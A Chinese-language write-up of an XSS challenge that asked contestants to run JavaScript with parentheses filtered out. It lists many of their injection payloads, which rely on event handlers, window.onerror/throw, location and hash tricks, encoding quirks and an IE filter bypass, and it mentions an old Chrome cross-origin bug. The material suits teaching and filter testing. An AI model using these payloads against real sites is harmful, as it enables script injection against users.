# XSS挑战第一期Writeup
0x00 起因
——-
* * *
这期 XSS 挑战的起因是在阅读“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”过后,在其中发现了一个很有趣的话题。那就是在圆括号被过滤的情况下,如何去执行javascript。在文中笔者给出来了这样的解决方案:
“`
这位挑战者通过window.name实现了iframe的跨域,并完成了挑战。类似的方法还有URL.hash window.postMessage等等。在后续出来类似的答案时将不在重复写iframe的部分。
来自 Dun 比较有趣的答案: 
“`
“onfocus=new%A1%A1window[“al”+”ert”]
“`
在这里出现了一个小插曲,也是我的一个失误。因为两台服务器当中一台使用了utf-8编码,而另外一台又使用了GB2312编码。这位挑战者就在编码为GB2312的页面用了全角空 格(%A1%A1)。当然作为这个的替代品,还有%0B%0B。
之后Dun又使用了Chrome上一个版本的跨域漏洞,再次缩短了自己的payload长度。(因为chrome跨域漏洞的细节在很多地方都可以找到,我就不在这里造轮子了。)下面是他的POC:
“`
```
SqlCode的答案:
```
"oncut=_=window;_.onerror=_["al"+"ert"];throw[1]
```
Laix的答案:
```
"oncut=location="javascript:aler"+"t%"+"281%"+"29
```
Galaxy的答案:
```
"onblur=javascript:window.onblur=al%00ert;throw"1
```
该挑战者使用绕过 IE8/IE9 filter 的一个技巧(%00),完成了挑战。
e3rp4y的答案:
```
"onfocus=window.onblur=top["aler"%2b"t"];throw"1
```
来自0x00有趣的答案:
```
()&xss="onclick=a=location.search;location.href="javascript:a"+"lert"+a[1]+a[2]//
```
把()作为参数放在问号的后面再用 location.search 调用了出来。
```
"onclick=a=location;b=a.hash;a.href="javascript:a"+"lert"+b[1]+b[2]//
"onclick=a=location;a.href="javascript:/*"+a.hash//#*/alert()
"onclick="location.href=window.name
```
来自 litdg 的答案:
```
"/onblur=window.onerror=window["aler"+"t"];throw+1//
```
来自过客的答案:
```
"onclick="location=top.a.name
```
最后附上本次挑战的第一名获得者/fd 的一些答案:
```
```
通过iframe的self.name实现了跨域。
```
```

chrome跨域漏洞+拖拽劫持(只附上了重要部分代码,效果见上图)。一个很用心的 POC。当我们试图把硬币投入下面的黑框时触发。
```
```
最后用旧版chrome的跨域漏洞(测试于Chromium 31.0.1650.8)以15个字符的成绩终结了比赛。
0x03 写在最后
---------
* * *
因为个人经验和知识储备的不足,可能在挑战的设定和评判标准上面没能做的很完善。而且整个挑战也似乎从如何绕过圆括号的限制慢慢的演变成了 The short talk of XSS。也许有人会觉得这是造轮子吧。但是我相信在参与的过程当中,大家也和我一样或多或少都学到了一些什么。其实,在编写这篇文章的同时,我和我的小伙伴们(Laix,烟花兔子,Line)花费心思又搞了一个自认为比较有趣的XSS挑战。暂时就将它称作为XSS挑战第二期吧。希望到时候大家也能来玩玩!最后,谢谢/fd,LinE,瞌睡龙等人的乌云币赞助。
提供该程序PHP源代码供各位下载,自己搭建测试:[index.php.zip](http://static.wooyun.org/20141017/2014101713115718908.zip)












请登录后查看评论内容